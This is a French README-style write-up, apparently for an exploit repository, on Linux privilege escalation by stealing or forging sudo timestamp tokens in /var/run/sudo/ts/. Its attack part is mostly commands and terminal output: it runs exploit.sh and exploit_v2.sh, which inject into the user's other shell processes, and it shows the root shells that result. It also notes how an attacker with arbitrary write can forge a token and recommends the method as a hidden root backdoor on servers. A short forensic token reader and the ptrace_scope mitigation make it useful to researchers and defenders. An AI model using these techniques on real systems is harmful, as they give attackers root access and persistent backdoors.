
[Linux] Deux techniques d'élévation de privilèges abusant du token sudo
Nous avons tous remarqué que parfois sudo ne nous demande pas de mot de passe parce qu'il se souvient de nous. Comment se souvient-il de nous et comment nous identifie-t-il ? Pouvons-nous falsifier notre identité et devenir root ? Pour autant que je sache, cette recherche n'est pas encore documentée, mais faites-le-moi savoir si c'est le cas. En effet, sudo crée un fichier pour chaque utilisateur Linux dans /var/run/sudo/ts/[username]. Ces fichiers contiennent à la fois les authentifications réussies et échouées, puis sudo utilise ces fichiers pour se souvenir de tous les processus authentifiés. -- @chaignc
Ce dépôt vous fournit :
PS : lisez les prérequis !!
$ sudo whatever
[sudo] password for user: # Press <ctrl>+c since you don't have the password. # This creates an invalid sudo tokens.
$ sh exploit.sh
.... wait 1 seconds
$ sudo -i # no password required :)
# id
uid=0(root) gid=0(root) groups=0(root)
Le délai d'expiration du mot de passe par défaut est de 15 minutes. Donc si vous utilisez sudo deux fois en 15 minutes (900 secondes), il ne vous sera pas demandé de saisir à nouveau le mot de passe de l'utilisateur.
exploit.sh injecte tous les processus shell appartenant à l'utilisateur courant et utilise leur jeton sudo pour valider notre propre jeton sudo. C'est à peine 3 lignes de shell, jetez-y un œil.
Ce n'est pas un privesc générique sans prérequis, mais ça fonctionne. Par exemple, si vous avez une RCE et que vous n'avez pas le mot de passe de l'utilisateur, mais que la victime utilise sudo, vous pouvez facilement obtenir root en volant son jeton.
# echo 0 > /proc/sys/kernel/yama/ptrace_scope
# # Don't worry this is not persistent accross reboot
Ouvrez deux terminaux :
Pour ceux qui ont moins de chance avec l'exploit v1, essayez la v2
$ ./exploit_v2.sh
Current process : 2441
chmod: changing permissions of 'activate_sudo_token': Operation not permitted
Injecting process 1721 -> bash
Injecting process 2433 -> bash
cat: /proc/2446/comm: No such file or directory
Injecting process 2446 ->
$ /tmp/sh -p
# id
uid=1001(test) gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
L'affichage est à améliorer, mais chaque tentative sudo d'un processus a une entrée dans /var/run/sudo/ts/[username]. Ces fichiers sont également stockés dans tmpfs (ram) ; on pourrait écrire un plugin volatility pour analyser ces informations et recueillir les tentatives sudo.
./read_sudo_token_forensic < /var/run/sudo/ts/user
version, flags, uid, sid, starttime_sec, starttime_nsec
2, 0, 0, 0, 0, 0
2, 0, 1001, 1145, 188, 660000000
2, 0, 1001, 24878, 7461, 490000000
2, 0, 1001, 24578, 6974, 10000000
Si vous disposez d'une écriture arbitraire, vous pouvez créer un jeton sudo pour votre processus courant afin d'obtenir une exécution de code root. Consultez './write_sudo_token $$ > /var/run/sudo/ts/[username]' dans extra_tools.
Un très bon moyen de créer une backdoor root secrète sur des serveurs qui redémarrent rarement. Pas encore fait, mais consultez './write_sudo_token $$' dans ./extra_tools.
Je cherchais un moyen de voler le jeton sudo d'un processus mort, mais cela ne semble pas possible car ils sont associés par ((heure de démarrage du processus et identifiant de session du processus) ou (heure de démarrage du tty et identifiant de session du tty)). L'identifiant de session (pid du processus) peut être usurpé, mais l'heure de démarrage du processus n'est pas falsifiable.
kernel.yama.ptrace_scope = 1
Injection de code inter-processus Linux sans ptrace
Déplacer un processus vers un autre terminal
https://www.linusakesson.net/programming/tty/
Par @chaignc #HexpressoTeam.